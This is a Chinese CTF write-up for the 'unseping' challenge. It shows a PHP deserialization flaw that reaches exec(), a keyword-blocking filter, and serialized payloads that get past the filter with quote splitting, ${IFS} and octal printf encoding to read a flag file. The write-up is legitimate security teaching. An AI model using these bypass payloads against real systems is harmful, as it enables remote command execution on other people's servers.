当前位置: 首页 > news >正文

unseping攻防世界

源码分析

<?php
highlight_file(__FILE__);//代码高亮
class ease{//声明了两个私有属性:保存要调用的方法的名称和保存该方法的参数。$method,$argsprivate $method;private $args;//构造函数在实例化类的对象时初始化,即为对象成员变量赋初始值。function __construct($method, $args) {$this->method = $method;$this->args = $args;}//析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。function __destruct(){//if (in_array($this->method, array("ping"))) {//call_user_func_array() 是一个函数,用于调用一个回调函数(方法),并传递参数。call_user_func_array(array($this, $this->method), $this->args);}//检查当前请求的方法 $this->method 是否为 "ping"。如果是,调用该方法(即 $this->method),并将 $this->args 作为参数传递。} //该方法将 IP 地址作为参数,并使用 将其作为 shell 命令exec执行function ping($ip){exec($ip, $result);var_dump($result);}//防火墙,通过正则匹配过滤了|,&,;,空格,/,cat,flag,tac,php,lsfunction waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}//当对象被反序列化时,将调用该方法。它遍历属性,使用该方法匹配清理每个参数function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}
//采用POST传参的方式,@抑制报错信息
$ctf=@$_POST['ctf'];
//将传入参数进行base64解码,再反序列化。
@unserialize(base64_decode($ctf));
?>

解题思路

1:要求:
对post传入的参数进行了base64解密,和反序列化。意思就是传入的值经过了base64加密和序列化。
2:preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)这句话也是一个思路,为什么过滤这些命令,肯定是对解题有帮助才不让我们用,那我们就需要绕过这些命令。
3:我们的目的是找flag,那我们就需要借助ls查看一下整体的布局,看能不能检索出有用的信息来。

第一步:构造原始poc验证思路

<?php
class ease{ private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$a=new ease("ping",array('l""s'));
$b=serialize($a);
echo base64_encode($b);
?>

在这里插入图片描述
发现回显don’t hack,这是为什么呢?我们使用了ls命令,而正则匹配那里过滤了这个语句,所有返回don’t hack。

解题

绕过ls命令

1:“”

$a=new ease("ping",array('l""s'));

2:${Z}

$a=new ease("ping",array('l${Z}s'));

3:${IFS}
在这里插入图片描述

根据回显进一步解题

${IFS}

命令执行漏洞的空格过滤,在linux当中,%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFSIFS这些都可以当做空格符作为代替。此题中 $IFS$9, ${IFS}可以绕过空格此题中
1:思路
回显array(2) { [0]=> string(12) “flag_1s_here” [1]=> string(9) “index.php” } ,
显而易见藏有flag的目录在flag_1s_here,为什么不是文档英文如果是文档应该带有文件后缀,就像后面的.php,再者说如果将文件后缀名藏匿起来了后面的index.php的后缀名也应该藏起来了。这里首先猜是目录。
2:执行命令ls flag_1s_here

$a=new ease("ping",array('l""s${IFS}fla""g_1s_here'));

完整运行代码
在这里插入图片描述
执行成功,返回了藏有flag的php文件
在这里插入图片描述
3: 查看flag_831b69012c67b35f.php用到的原始命令
tac flag_1s_here/flag_831b69012c67b35f.php,
tac flag_1s_here/flag_831b69012c67b35f.php都行
加工插入poc

$a=new ease("ping",array('ta""c${IFS}fl""ag_1s_here$(printf${IFS}"\57")fla""g_831b69012c67b35f.p""hp'));
//$()中可以执行函数,"\57"为\ascii值
//$(printf${IFS}"\57")这句话用来跳过\

在这里插入图片描述
在这里插入图片描述

解法2
linux中$(printf)

1: ( ) 中可以执行命令,当 ()中可以执行命令,当 ()中可以执行命令,当()中为printf时执行打印命令。
举例

echo $(printf "\154\163")
\154 是字符 'l' 的八进制表示。
\163 是字符 's' 的八进制表示。
因此,$(printf "\154\163") 会输出字符串 ls。就会执行ls命令。

同理,这里的”\154\163“翻译成字母是ls,打印ls命令就执行了ls命令,而我们要执行的命令tac flag_1s_here/flag_831b69012c67b35f.php是否也可以用此法?

oct绕过,将命令转为八进制,执行下面代码的第二个自定义函数将命令转为八进制字符串。
def string_to_binary(string):# 将每个字符转换为其二进制表示并格式化binary_string = '\\'.join(format(ord(char), '08b') for char in string)return binary_stringdef string_to_octal(string):# 将每个字符转换为其八进制表示并格式化# ord(char)获取字符的ASCII值。# format(ord(char), '03o')将ASCII值转换为三位的八进制表示。# join()将生成的八进制字符串连接成一个以 \ 分隔的字符串。octal_string = '\\'.join(format(ord(char), '03o') for char in string)return octal_stringdef string_to_hex(string):# 将每个字符转换为其十六进制表示并格式化hex_string = '\\'.join(format(ord(char), '02x') for char in string)return hex_stringstr1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
binary_string = string_to_binary(str1)
octal_string = string_to_octal(str1)
hex_string = string_to_hex(str1)
print(f"二进制\{binary_string}")
print('\n')
print(f"八进制\{octal_string}")
print('\n')
print(f"十六进制\{hex_string}")

在这里插入图片描述
在这里插入图片描述

成功。

既然可以用编码执行命令那我们是不是可以将之前的所有步骤都用此法绕过???

经过验证完全可以,感兴趣可以去试试。

相关文章:

unseping攻防世界

源码分析 <?php highlight_file(__FILE__);//代码高亮 class ease{//声明了两个私有属性&#xff1a;保存要调用的方法的名称和保存该方法的参数。$method&#xff0c;$argsprivate $method;private $args;//构造函数在实例化类的对象时初始化,即为对象成员变量赋初始值。…...

大厂面试真题-简单描述一下SpringBoot的启动过程

SpringBoot的启动流程是一个复杂但有序的过程&#xff0c;它涉及多个步骤和组件的协同工作。以下是SpringBoot启动流程的详细解析&#xff1a; 一、启动main方法 当SpringBoot项目启动时&#xff0c;它会在当前工作目录下寻找有SpringBootApplication注解标识的类&#xff0c…...

4. 硬件实现

博客补充&#xff1a; CUDA C 编程指南学习_c cuda编程-CSDN博客https://blog.csdn.net/qq_62704693/article/details/141225395?spm1001.2014.3001.5501NVIDIA GPU 架构是围绕可扩展的多线程流式多处理器 &#xff08;SM&#xff09; 阵列构建的。当主机 CPU 上的 CUDA 程序…...

《操作系统真象还原》第3章 完善MBR【3.1 — 3.2】

目录 引用与说明 3.1、地址、section、vstart 浅尝辄止 1、什么是地址 2、什么是 section【汇编】 3、什么是 vstart【汇编】 3.2、CPU 的实模式 1、CPU 工作原理【重要】 2、实模式下的寄存器 4、实模式下 CPU 内存寻址方式 5、栈到底是什么玩意儿 6 ~ 8 无条件转移…...

八大排序-冒泡排序

在里面找动图理解 【数据结构】八大排序(超详解附动图源码)_数据结构排序-CSDN博客 一 简介 冒泡排序应该是我们最熟悉的排序了&#xff0c;在C语言阶段我们就学习了冒泡排序。 他的思想也非常简单&#xff1a; 两两元素相比&#xff0c;前一个比后一个大就交换&#xff0…...

基于Spring Boot+Vue的助农销售平台(协同过滤算法、节流算法、支付宝沙盒支付、图形化分析)

&#x1f388;系统亮点&#xff1a;协同过滤算法、节流算法、支付宝沙盒支付、图形化分析&#xff1b; 一.系统开发工具与环境搭建 1.系统设计开发工具 后端使用Java编程语言的Spring boot框架 项目架构&#xff1a;B/S架构 运行环境&#xff1a;win10/win11、jdk17 前端&…...

uniapp写抖音小程序阻止右滑返回上一个页面

最近用uniapp写小程序遇到一个问题因为内部用到右滑的业务&#xff0c;但是只要右滑就会回到上一页面&#xff0c;用了event.preventDeafult()没有用&#xff0c;看了文档找到了解决办法 1.在最外层view加上touchstart事件 <view class"container" touchstart&q…...

华为配置手工负载分担模式链路聚合实验

目录 组网需求 配置思路 操作步骤 配置文件 组网图形 图1 配置手工负载分担模式链路聚合组网图 组网需求配置思路操作步骤配置文件 组网需求 如图1所示&#xff0c;AC1和AC2通过以太链路分别都连接VLAN10和VLAN20&#xff0c;且AC1和AC2之间有较大的数据流量。 用户希望A…...

【Spring】Cookie与Session

&#x1f490;个人主页&#xff1a;初晴~ &#x1f4da;相关专栏&#xff1a;计算机网络那些事 一、Cookie是什么&#xff1f; Cookie的存在主要是为了解决HTTP协议的无状态性问题&#xff0c;即协议本身无法记住用户之前的操作。 "⽆状态" 的含义指的是: 默认情况…...

chat_gpt回答:qt中,常见格式及格式转换

在Qt中&#xff0c;常见的数据格式包括&#xff1a; QVariant&#xff1a;可以存储多种数据类型&#xff0c;包括整型、浮点型、字符串、布尔值、日期等。QString&#xff1a;用于存储和处理文本字符串。QByteArray&#xff1a;用于处理字节数组&#xff0c;常用于二进制数据。…...

CSS兼容处理

“前端开发兼容——CSS篇” 在前端开发中&#xff0c;CSS样式的兼容性问题常常让开发者感到棘手&#xff0c;尤其是当涉及到IE浏览器时。由于IE浏览器版本繁多&#xff0c;每个版本在CSS支持上还存在差异&#xff0c;这导致开发者在实现统一的视觉效果时&#xff0c;不得不编写…...

制氮机分子筛的材质选择

制氮机分子筛的材质选择对于其性能和效率至关重要。作为制氮设备中的核心部件&#xff0c;分子筛承担着将空气中的氮气与氧气有效分离的重任。以下是对制氮机分子筛常用材质的详细探讨&#xff1a; 制氮机分子筛的主要材质 碳分子筛(CMS) 碳分子筛由活性炭经过特殊工艺加工而成…...

使用Virtual Audio Cable捕获系统音频输出并使用Python处理

一、下载安装Virtual Audio Cable&#xff0c;软件下载地址和安装过程略过。 二、Virtual Audio Cable使用方法Virtual Audio Cable使用笔记一&#xff1a;使用Virtual Audio Cable将播放器的音频流传输到真实声卡驱动中_virtual audio cable control panel-CSDN博客 三、打开…...

微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析

微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析 目录 微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析 1、iOS在scroll-view内部上下滑动吸顶的现象 正常的上下滑动吸顶覆盖&#xff1a; iOS及iPa…...

HDU-1695 GCD

题目大意&#xff1a;已知 1 < x < b , 1 < y < d , 求 gcd ( x , y ) k 的对数。请注意&#xff0c;&#xff08;x5&#xff0c; y7&#xff09; 和 &#xff08;x7&#xff0c; y5&#xff09; 被认为是相同的。 思路&#xff1a;先将 gcd ( x , y ) k 两边同时…...

unity游戏开发之赛车游戏

在这个 unity 2d 赛车游戏教程中&#xff0c;我将构建一款移动超休闲赛车游戏。 这将是一个简单的 unity 2d 汽车游戏。所以这将需要有一个可以无限滚动的背景。 我们需要避开一些障碍。一些评分系统。 以及一种使用我们的手机加速度计控制我们的汽车的方法。然后&#xff0c;我…...

解决milvus migration 迁移数据到出现数据丢失问题

在迁移数据的时候发现数据丢失 问题是数据在批量迁移的过程中&#xff0c;这个错误会被忽略掉 分析下来是因为buuferSize 设置的是500条数据&#xff0c;但是迁移工具对一次迁移的数据是是有大小限制的&#xff0c;如果500条数据的总大小大于4194304&#xff0c;就会导致数据…...

Python Flask 数据库开发

Python Flask 数据库开发 引言环境配置创建 Flask 应用&#xff0c;连接数据库定义路由定义模型创建表创建 API 数据库直接操作启动 Flask 应用app.py 示例运行 Flask访问应用 展望 引言 在现代 web 开发中&#xff0c;Python 的 Flask 框架因其轻量和灵活性受到广泛欢迎。结合…...

深度学习(七)深度强化学习:融合创新的智能之路(7/10)

一、深度强化学习的崛起 深度强化学习在人工智能领域的重要地位 深度强化学习作为一种融合了深度学习和强化学习的新技术&#xff0c;在人工智能领域占据着至关重要的地位。它结合了深度学习强大的感知能力和强化学习优秀的决策能力&#xff0c;能够处理复杂的任务和环境。例如…...

mac电脑通过 npm 安装 @vue/cli脚手架超时问题;

npm 安装 vue/cli遇到的问题步骤 一、安装 Homebrew 如果你还没有安装 Homebrew&#xff0c;首先需要安装它。Homebrew 是 macOS 上的一款包管理工具&#xff0c;它允许你通过简单的命令行指令安装、更新和卸载软件包。&#xff1b; 1, 打开终端&#xff08;Terminal&#xf…...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件

在选煤厂、化工厂、钢铁厂等过程生产型企业&#xff0c;其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进&#xff0c;需提前预防假检、错检、漏检&#xff0c;推动智慧生产运维系统数据的流动和现场赋能应用。同时&#xff0c;…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

MySQL账号权限管理指南:安全创建账户与精细授权技巧

在MySQL数据库管理中&#xff0c;合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号&#xff1f; 最小权限原则&#xf…...

Angular微前端架构:Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例&#xff0c;其中使用的是 Module Federation 和 npx-build-plus 实现了主应用&#xff08;Shell&#xff09;与子应用&#xff08;Remote&#xff09;的集成。 &#x1f6e0;️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...

安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖

在Vuzix M400 AR智能眼镜的助力下&#xff0c;卢森堡罗伯特舒曼医院&#xff08;the Robert Schuman Hospitals, HRS&#xff09;凭借在无菌制剂生产流程中引入增强现实技术&#xff08;AR&#xff09;创新项目&#xff0c;荣获了2024年6月7日由卢森堡医院药剂师协会&#xff0…...

Netty从入门到进阶(二)

二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架&#xff0c;用于…...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)

考察一般的三次多项式&#xff0c;以r为参数&#xff1a; p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]&#xff1b; 此多项式的根为&#xff1a; 尽管看起来这个多项式是特殊的&#xff0c;其实一般的三次多项式都是可以通过线性变换化为这个形式…...

CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝

目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为&#xff1a;一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

MySQL 8.0 事务全面讲解

以下是一个结合两次回答的 MySQL 8.0 事务全面讲解&#xff0c;涵盖了事务的核心概念、操作示例、失败回滚、隔离级别、事务性 DDL 和 XA 事务等内容&#xff0c;并修正了查看隔离级别的命令。 MySQL 8.0 事务全面讲解 一、事务的核心概念&#xff08;ACID&#xff09; 事务是…...